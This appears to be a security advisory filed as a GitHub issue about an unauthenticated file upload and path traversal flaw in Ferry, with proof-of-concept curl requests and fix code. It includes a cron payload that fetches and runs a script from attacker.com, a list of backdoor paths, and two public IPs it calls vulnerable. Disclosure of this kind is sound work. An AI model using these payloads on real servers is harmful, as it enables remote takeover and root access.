[Security] CWE-434: Unauthenticated Arbitrary File Upload + Path Traversal in Ferry
Summary
Ferry (lanyulei/ferry) contains an unauthenticated arbitrary file upload vulnerability (CWE-434) that, combined with path traversal in filename handling, allows remote attackers to write arbitrary files to any location on the server filesystem.
- Affected Component:
POST /api/v1/public/uploadFile
- Severity: Critical (CVSS 3.1: 9.8)
- Authentication Required: None
- Affected Versions: All current versions (up to latest master)
Root Cause
1. No Authentication on Upload Endpoint
The upload endpoint is registered under the public router group with zero authentication middleware:
// router/system/sys_router.go
func registerPublicRouter(v1 *gin.RouterGroup) {
p := v1.Group("/public") // <- no auth middleware
{
p.POST("/uploadFile", public.UploadFile)
}
}
2. Unsanitized Filename → Path Traversal
The user-supplied files.Filename is concatenated directly into the save path without any filtering:
// apis/public/file.go — UploadFile()
files, err := c.FormFile("file")
// VULNERABILITY: files.Filename is directly from user input, no sanitization
singleFile := saveFilePath + guid + "-" + files.Filename
_ = c.SaveUploadedFile(files, singleFile)
An attacker can set filename=../../../etc/cron.d/malicious to write files to arbitrary directories.
3. No File Extension Restrictions
Any file type can be uploaded (.php, .jsp, .exe, .sh, .html, .js, etc.).
Proof of Concept
PoC 1: Unauthenticated File Upload
curl -v -X POST \
"http://TARGET:8002/api/v1/public/uploadFile?file_type=files" \
-F "file=@evil.html;filename=evil.html;type=text/html" \
-F "type=1"
Response: {"code":200,"data":"http://TARGET/static/uploadfile/files/<guid>-evil.html","msg":"Upload Success"}
Note: -v output shows no Cookie/Authorization/Token headers required.
PoC 2: Path Traversal (Arbitrary File Write)
curl -v -X POST \
"http://TARGET:8002/api/v1/public/uploadFile?file_type=files" \
-F "file=@payload;filename=../../../etc/cron.d/evil;type=text/plain" \
-F "type=1"
The ../ is preserved: {"data":".../static/uploadfile/files/<guid>-../../../etc/cron.d/evil"}
Go's SaveUploadedFile resolves the path → file written to /etc/cron.d/evil.
PoC 3: Cron Job Injection → RCE
# Create malicious cron file
echo '* * * * * root /bin/bash -c "curl -s http://attacker.com/shell.sh|bash"' > evil_cron
# Upload via path traversal
curl -X POST \
"http://TARGET:8002/api/v1/public/uploadFile?file_type=files" \
-F "file=@evil_cron;filename=../../../etc/cron.d/evil;type=text/plain" \
-F "type=1"
The cron daemon parses and executes the uploaded file content every minute.
Verified Public Instances
The following publicly accessible instances were confirmed vulnerable (2026-06-04):
| Target |
Server |
Path Traversal |
PHP Upload |
| 36.7.159.184:8001 |
nginx |
✅ ../ preserved |
✅ |
| 124.16.143.132 |
nginx/1.18.0 |
⚠️ filtered |
✅ |
Exploitation Vectors (Server-Side Content Parsing)
Through path traversal, uploaded file content is parsed and executed by system daemons:
| Attack |
Target Path |
Parser |
Impact |
| Cron injection |
../../../etc/cron.d/evil |
crond |
RCE (root, every minute) |
| SSH backdoor |
../../../root/.ssh/authorized_keys |
sshd |
Persistent SSH access |
| Login script |
../../../etc/profile.d/evil.sh |
bash |
RCE on user login |
| PHP webshell |
../../../var/www/html/shell.php |
PHP-FPM/mod_php |
RCE (if PHP configured) |
| Config overwrite |
../../config/settings.yml |
viper (Go YAML) |
App compromise |
CVSS 3.1 Score: 9.8 (Critical)
| Metric |
Value |
| Attack Vector (AV) |
Network |
| Attack Complexity (AC) |
Low |
| Privileges Required (PR) |
None |
| User Interaction (UI) |
None |
| Scope (S) |
Unchanged |
| Confidentiality (C) |
High |
| Integrity (I) |
High |
| Availability (A) |
High |
Fix Recommendations
// 1. Add authentication middleware
// router/system/sys_router.go
func registerPublicRouter(v1 *gin.RouterGroup) {
p := v1.Group("/public")
{
// REMOVE: p.POST("/uploadFile", public.UploadFile)
// MOVE to authenticated group
}
}
// 2. Sanitize filename — filter path traversal
func sanitizeFilename(name string) string {
// Remove path separators
name = filepath.Base(name)
// Remove null bytes
name = strings.ReplaceAll(name, "\x00", "")
// Remove path traversal
name = strings.ReplaceAll(name, "..", "")
name = strings.ReplaceAll(name, "/", "")
name = strings.ReplaceAll(name, "\\", "")
return name
}
// 3. Use random filenames, ignore user-supplied filename entirely
singleFile := saveFilePath + guid + filepath.Ext(files.Filename)
// ^^^^^^^^^^^^^^^^^^^^^^^^
// Only preserve extension, not the full filename
// 4. Add file extension whitelist
allowedExts := map[string]bool{".jpg": true, ".png": true, ".pdf": true, ".doc": true}
if !allowedExts[strings.ToLower(filepath.Ext(files.Filename))] {
app.Error(c, -1, errors.New(""), "File type not allowed")
return
}
Timeline
- 2026-05-30: Vulnerability discovered
- 2026-06-04: Verified on public instances, PoC developed
- 2026-06-04: Report filed
Contact
If you need more details or have questions about this report, please reply to this issue.
This report follows responsible disclosure practices. The vulnerability details and PoC are provided to assist with fixing the issue.
[
cnvd-report.zip
](url)
[Security] CWE-434: Unauthenticated Arbitrary File Upload + Path Traversal in Ferry
Summary
Ferry (lanyulei/ferry) contains an unauthenticated arbitrary file upload vulnerability (CWE-434) that, combined with path traversal in filename handling, allows remote attackers to write arbitrary files to any location on the server filesystem.
POST /api/v1/public/uploadFileRoot Cause
1. No Authentication on Upload Endpoint
The upload endpoint is registered under the
publicrouter group with zero authentication middleware:2. Unsanitized Filename → Path Traversal
The user-supplied
files.Filenameis concatenated directly into the save path without any filtering:An attacker can set
filename=../../../etc/cron.d/maliciousto write files to arbitrary directories.3. No File Extension Restrictions
Any file type can be uploaded (.php, .jsp, .exe, .sh, .html, .js, etc.).
Proof of Concept
PoC 1: Unauthenticated File Upload
Response:
{"code":200,"data":"http://TARGET/static/uploadfile/files/<guid>-evil.html","msg":"Upload Success"}Note:
-voutput shows no Cookie/Authorization/Token headers required.PoC 2: Path Traversal (Arbitrary File Write)
The
../is preserved:{"data":".../static/uploadfile/files/<guid>-../../../etc/cron.d/evil"}Go's
SaveUploadedFileresolves the path → file written to/etc/cron.d/evil.PoC 3: Cron Job Injection → RCE
The cron daemon parses and executes the uploaded file content every minute.
Verified Public Instances
The following publicly accessible instances were confirmed vulnerable (2026-06-04):
../preservedExploitation Vectors (Server-Side Content Parsing)
Through path traversal, uploaded file content is parsed and executed by system daemons:
../../../etc/cron.d/evilcrond../../../root/.ssh/authorized_keyssshd../../../etc/profile.d/evil.shbash../../../var/www/html/shell.php../../config/settings.ymlCVSS 3.1 Score: 9.8 (Critical)
Fix Recommendations
Timeline
Contact
If you need more details or have questions about this report, please reply to this issue.
This report follows responsible disclosure practices. The vulnerability details and PoC are provided to assist with fixing the issue.
[
cnvd-report.zip
](url)